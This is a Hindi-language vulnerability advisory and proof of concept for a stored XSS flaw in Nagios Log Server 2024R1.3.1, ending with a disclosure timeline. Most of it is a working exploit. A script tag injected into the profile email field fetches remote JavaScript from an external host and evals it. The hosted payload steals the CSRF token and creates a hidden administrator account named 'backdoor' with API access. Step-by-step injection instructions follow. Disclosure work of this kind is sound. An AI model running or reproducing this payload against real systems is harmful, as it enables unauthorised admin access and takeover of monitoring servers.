
Nagios Log Server 2024R1.3.1 में संग्रहीत XSS
2024R1.3.1 और उससे नीचेNagios Log Server 2024R1.3.1 (डिफ़ॉल्ट कॉन्फ़िगरेशन, Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:Hकेवल अधिकृत परीक्षण और अनुसंधान उद्देश्यों के लिए। उन सिस्टम पर इस भेद्यता का परीक्षण या शोषण न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।
Nagios Log Server 2024R1.3.1 में एक संग्रहीत XSS भेद्यता एक निम्न-विशेषाधिकार वाले उपयोगकर्ता को अपनी प्रोफ़ाइल के 'email' फ़ील्ड में दुर्भावनापूर्ण JavaScript इंजेक्ट करने की अनुमति देती है।
जब कोई एडमिनिस्ट्रेटर ऑडिट लॉग देखता है, तो पेलोड निष्पादित होता है, जिसके परिणामस्वरूप अनधिकृत एडमिन खाता निर्माण के माध्यम से विशेषाधिकार वृद्धि होती है।
xss.js पेलोड होस्ट करें। GitHub ठीक काम करता है।Nagios Log Server लक्ष्य के IP/होस्टनाम के लिए <target-ip> अपडेट करें।
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
एक मानक (गैर-व्यवस्थापक) उपयोगकर्ता के रूप में Nagios Log Server में लॉग इन करें।
प्रोफ़ाइल अपडेट एंडपॉइंट पर जाएँ:
http://<target-ip>/nagioslogserver/profile/update
ईमेल फ़ील्ड में निम्नलिखित पेलोड इंजेक्ट करें। fetch पंक्ति को उस URL से अपडेट करें जहाँ xss.js संग्रहीत है।
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Username: backdoor
Password: Password123!
backdoor के रूप में लॉगिन करें।Nagios Log Server 2024R2 जारी कियाNagios Log Server 2024R2 संग्रहीत XSS भेद्यता का समाधान करता है और Nagios को अपडेट कियाCVE-2025-29471 आरक्षित किया, लेकिन विक्रेता की ओर से सार्वजनिक सुरक्षा सलाह की अनुपस्थिति के कारण विवरण अप्रकाशित रहे2024R1.3.2) को जारी किया, जो संग्रहीत XSS भेद्यता फ़िक्स को 2024R1 शाखा में बैकपोर्ट करता हैCVE-2025-29471 औपचारिक रूप से प्रकाशित हुआयह कार्य मेरे रोज़गार के बाहर किया गया था और साइबरसुरक्षा अनुसंधान में मेरे व्यक्तिगत प्रयासों को दर्शाता है।